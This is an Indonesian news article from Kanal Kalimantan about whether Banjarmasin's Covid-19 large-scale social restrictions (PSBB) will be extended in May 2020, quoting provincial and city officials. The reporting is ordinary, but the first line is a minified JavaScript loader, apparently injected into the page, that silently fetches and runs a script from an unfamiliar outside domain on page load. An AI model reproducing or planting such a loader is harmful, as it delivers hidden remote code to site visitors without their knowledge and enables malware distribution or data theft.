(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan Pematasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin akan berakhir pada Kamis (7/5/2020) esok. Lantaran dinilai belum maksimal, beredar wacana perpanjangan PSBB oleh Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin.
Lalu, bagaimana respon Tim Gugus Tugas P2 Covid-19 Kalimantan Selatan? Menurut Juru Bicara Tim Gugus Tugas P2 Covid-19 Kalsel Muhamad Muslim, langkah yang diambil Pemko Banjarmasin untuk perpanjangan PSBB tentu akan didukung penuh oleh Pemprov Kalsel.
“(Terutama) dalam upaya mengefektifkan pelaksanaan PSBB yang ada. Saat ini kami sedang melakukan evaluasi bagaimana pemutusan mata rantai penularan Covid-19,” kata Muslim di Banjarbaru, Rabu (6/5/2020) sore.
Dalam konteks evaluasi PSBB sudah berjalan efektif atau belum, Muslim mengatakan bahwa Pemprov Kalsel mendukung perpanjangan PSBB, jika dinilai masih belum efektif. Karena ini merupakan upaya memutus mata rantai penularan Covid-19, sehingga dengan mudah muncul indikator-indikator identikfikasi yang dilakukan maupun testing yang dilakukan oleh Tim Gugus Tugas P2 Covid-19 Kota Banjarmasin.
“Sehingga dengan identifikasi, tracing maupun testing itu sudah semua yang diduga, tetapi jika dirasa belum maka kita terus lakukan upaya yang lebih massif lagi dan harapan kami tidak ada agi cluster baru,” jelas Muslim.
Terpisah, Wali Kota Banjarmasin H. Ibnu Sina mengatakan, seandainya dilanjutkan pelaksanaan PSBB kedua selama 14 hari kedepan, jajarannya mencoba berkomunikasi dengan Pemprov Kalsel terutama perkembangan usulan PSBB daerah penyangga Kota Banjarmasin. Seperti Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala.
“Karena kami ingin berbarengan dengan daerah Banjarbakula supaya efektif. Ternyata, masih belum ada keputusan dari Menkes RI. Kalau misalkan di sini dicukupkan (PSBB) sementara di sana (daerah penyangga) baru mulai, sementara besok kita berakhir. Mungkin tanggal 8-9 Mei 2020 baru bisa (PSBB) di daerah lain,” papar Ibnu.
Ibnu mengatakan, akan digelar rapat besar dari struktur Tim Gugus Tugas P2 Covid-19 Kota Banjarmasin, yang akan dilaksanakan di Pemko Banjarmasin pada Kamis (7/5/2020) puku 13:00 Wita.
Tidak menutup kemungkinan, jika PSBB di Kota Banjarmasin kembali diperpanjang, maka ia akan mengeluarkan payung hukum baru. Tentunya, sesuai dengan kesepakatan bersama dan menyamakan persepsi. Termasuk, mengevaluasi titik-titik pengamanan maupun pemberlakuan jam malam. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.